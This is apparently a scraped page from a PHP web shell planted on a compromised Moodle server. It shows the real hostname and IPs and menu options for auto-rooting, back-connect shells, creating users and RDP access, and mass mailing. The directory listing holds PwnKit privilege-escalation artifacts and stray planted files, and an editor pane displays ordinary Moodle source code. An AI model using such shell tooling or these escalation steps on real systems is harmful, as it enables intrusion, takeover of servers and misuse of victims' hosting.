Linux vmi284606.contaboserver.net 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
Apache/2.4.57 (Ubuntu)
: 167.86.127.34 | : 216.73.217.51
Cant Read [ /etc/named.conf ]
7.2.24-0ubuntu0.18.04.17
root
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
var /
www /
html /
moodle.backup.39 /
user /
[ HOME SHELL ]
Name
Size
Permission
Action
.pkexec
[ DIR ]
drwxr-xr-x
GCONV_PATH=.
[ DIR ]
drwxr-xr-x
amd
[ DIR ]
drwxrwxr-x
classes
[ DIR ]
drwxrwxr-x
filters
[ DIR ]
drwxrwxr-x
profile
[ DIR ]
drwxrwxr-x
selector
[ DIR ]
drwxrwxr-x
templates
[ DIR ]
drwxrwxr-x
tests
[ DIR ]
drwxrwxr-x
.htaccess
197
B
-r--r--r--
.mad-root
0
B
-rw-r--r--
action_redir.php
6.03
KB
-rw-rw-r--
calendar.php
3.74
KB
-rw-rw-r--
course.php
2.14
KB
-rw-rw-r--
edit.php
11.18
KB
-rw-rw-r--
edit_form.php
9.12
KB
-rw-rw-r--
editadvanced.php
12.97
KB
-rw-rw-r--
editadvanced_form.php
12.1
KB
-rw-rw-r--
editlib.php
19.92
KB
-rw-rw-r--
editor.php
2.41
KB
-rw-rw-r--
editor_form.php
2.51
KB
-rw-rw-r--
emailupdate.php
3.1
KB
-rw-rw-r--
externallib.php
81.57
KB
-rw-rw-r--
files.php
3.44
KB
-rw-rw-r--
files_form.php
2.44
KB
-rw-rw-r--
forum.php
3.07
KB
-rw-rw-r--
forum_form.php
3.63
KB
-rw-rw-r--
grouppix.php
1.77
KB
-rw-rw-r--
index.php
14.02
KB
-rw-rw-r--
language.php
2.65
KB
-rw-rw-r--
language_form.php
2.75
KB
-rw-rw-r--
lib.php
57.16
KB
-rw-rw-r--
managetoken.php
3.93
KB
-rw-rw-r--
message.html
2.24
KB
-rw-rw-r--
messageselect.php
7.13
KB
-rw-rw-r--
pix.php
1.51
KB
-rw-rw-r--
policy.php
3.26
KB
-rw-rw-r--
portfolio.php
4.7
KB
-rw-rw-r--
portfoliologs.php
5.67
KB
-rw-rw-r--
preferences.php
3.02
KB
-rw-rw-r--
profile.php
8.22
KB
-rw-rw-r--
profilesys.php
2.35
KB
-rw-rw-r--
pwnkit
10.99
KB
-rwxr-xr-x
renderer.php
15.39
KB
-rw-rw-r--
repository.php
2.78
KB
-rw-rw-r--
view.php
8.48
KB
-rw-rw-r--
wp-blog-header.php
2.74
KB
-r--r--r--
wp-cron.php
2.74
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : messageselect.php
<?php // This file is part of Moodle - http://moodle.org/ // // Moodle is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // // Moodle is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // // You should have received a copy of the GNU General Public License // along with Moodle. If not, see <http://www.gnu.org/licenses/>. /** * This file is part of the User section Moodle * * @copyright 1999 Martin Dougiamas http://dougiamas.com * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later * @package core_user */ require_once('../config.php'); require_once($CFG->dirroot.'/message/lib.php'); require_once($CFG->dirroot . '/course/lib.php'); $id = required_param('id', PARAM_INT); $messagebody = optional_param('messagebody', '', PARAM_CLEANHTML); $send = optional_param('send', '', PARAM_BOOL); $preview = optional_param('preview', '', PARAM_BOOL); $edit = optional_param('edit', '', PARAM_BOOL); $returnto = optional_param('returnto', '', PARAM_LOCALURL); $format = optional_param('format', FORMAT_MOODLE, PARAM_INT); $deluser = optional_param('deluser', 0, PARAM_INT); $url = new moodle_url('/user/messageselect.php', array('id' => $id)); if ($messagebody !== '') { $url->param('messagebody', $messagebody); } if ($send !== '') { $url->param('send', $send); } if ($preview !== '') { $url->param('preview', $preview); } if ($edit !== '') { $url->param('edit', $edit); } if ($returnto !== '') { $url->param('returnto', $returnto); } if ($format !== FORMAT_MOODLE) { $url->param('format', $format); } if ($deluser !== 0) { $url->param('deluser', $deluser); } $PAGE->set_url($url); if (!$course = $DB->get_record('course', array('id' => $id))) { print_error('invalidcourseid'); } require_login($course); $coursecontext = context_course::instance($id); // Course context. $systemcontext = context_system::instance(); // SYSTEM context. require_capability('moodle/course:bulkmessaging', $coursecontext); if (empty($SESSION->emailto)) { $SESSION->emailto = array(); } if (!array_key_exists($id, $SESSION->emailto)) { $SESSION->emailto[$id] = array(); } if ($deluser) { if (array_key_exists($id, $SESSION->emailto) && array_key_exists($deluser, $SESSION->emailto[$id])) { unset($SESSION->emailto[$id][$deluser]); } } if (empty($SESSION->emailselect[$id]) || $messagebody) { $SESSION->emailselect[$id] = array('messagebody' => $messagebody); } $messagebody = $SESSION->emailselect[$id]['messagebody']; $count = 0; if ($data = data_submitted()) { require_sesskey(); $namefields = get_all_user_name_fields(true); foreach ($data as $k => $v) { if (preg_match('/^(user|teacher)(\d+)$/', $k, $m)) { if (!array_key_exists($m[2], $SESSION->emailto[$id])) { if ($user = $DB->get_record_select('user', "id = ?", array($m[2]), 'id, '. $namefields . ', idnumber, email, mailformat, lastaccess, lang, '. 'maildisplay, auth, suspended, deleted, emailstop, username')) { $SESSION->emailto[$id][$m[2]] = $user; $count++; } } } } } if ($course->id == SITEID) { $strtitle = get_string('sitemessage'); $PAGE->set_pagelayout('admin'); } else { $strtitle = get_string('coursemessage'); $PAGE->set_pagelayout('incourse'); } $link = null; if (course_can_view_participants($coursecontext) || course_can_view_participants($systemcontext)) { $link = new moodle_url("/user/index.php", array('id' => $course->id)); } $PAGE->navbar->add(get_string('participants'), $link); $PAGE->navbar->add($strtitle); $PAGE->set_title($strtitle); $PAGE->set_heading($strtitle); echo $OUTPUT->header(); // If messaging is disabled on site, we can still allow users with capabilities to send emails instead. if (empty($CFG->messaging)) { echo $OUTPUT->notification(get_string('messagingdisabled', 'message')); } if ($count) { if ($count == 1) { $heading = get_string('addedrecip', 'moodle', $count); } else { $heading = get_string('addedrecips', 'moodle', $count); } echo $OUTPUT->heading($heading); } if (!empty($messagebody) && !$edit && !$deluser && ($preview || $send)) { require_sesskey(); if (count($SESSION->emailto[$id])) { if (!empty($preview)) { echo '<form method="post" action="messageselect.php" style="margin: 0 20px;"> <input type="hidden" name="returnto" value="'.s($returnto).'" /> <input type="hidden" name="id" value="'.$id.'" /> <input type="hidden" name="format" value="'.$format.'" /> <input type="hidden" name="sesskey" value="' . sesskey() . '" /> '; echo "<h3>".get_string('previewhtml')."</h3>"; echo "<div class=\"messagepreview\">\n".format_text($messagebody, $format)."\n</div>\n"; echo '<p align="center"><input type="submit" name="send" value="'.get_string('sendmessage', 'message').'" />'."\n"; echo '<input type="submit" name="edit" value="'.get_string('update').'" /></p>'; echo "\n</form>"; } else if (!empty($send)) { $fails = array(); foreach ($SESSION->emailto[$id] as $user) { if (!message_post_message($USER, $user, $messagebody, $format)) { $user->fullname = fullname($user); $fails[] = get_string('messagedselecteduserfailed', 'moodle', $user); }; } if (empty($fails)) { echo $OUTPUT->heading(get_string('messagedselectedusers')); unset($SESSION->emailto[$id]); unset($SESSION->emailselect[$id]); } else { echo $OUTPUT->heading(get_string('messagedselectedcountusersfailed', 'moodle', count($fails))); echo '<ul>'; foreach ($fails as $f) { echo '<li>', $f, '</li>'; } echo '</ul>'; } echo '<p align="center"><a href="index.php?id='.$id.'">'.get_string('backtoparticipants').'</a></p>'; } echo $OUTPUT->footer(); exit; } else { echo $OUTPUT->notification(get_string('nousersyet')); } } echo '<p align="center"><a href="'.$returnto.'">'.get_string("keepsearching").'</a>'. ((count($SESSION->emailto[$id])) ? ', '.get_string('usemessageform') : '').'</p>'; if ((!empty($send) || !empty($preview) || !empty($edit)) && (empty($messagebody))) { echo $OUTPUT->notification(get_string('allfieldsrequired')); } if (count($SESSION->emailto[$id])) { require_sesskey(); require("message.html"); } $PAGE->requires->yui_module('moodle-core-formchangechecker', 'M.core_formchangechecker.init', array(array( 'formid' => 'theform' )) ); $PAGE->requires->string_for_js('changesmadereallygoaway', 'moodle'); echo $OUTPUT->footer();
Close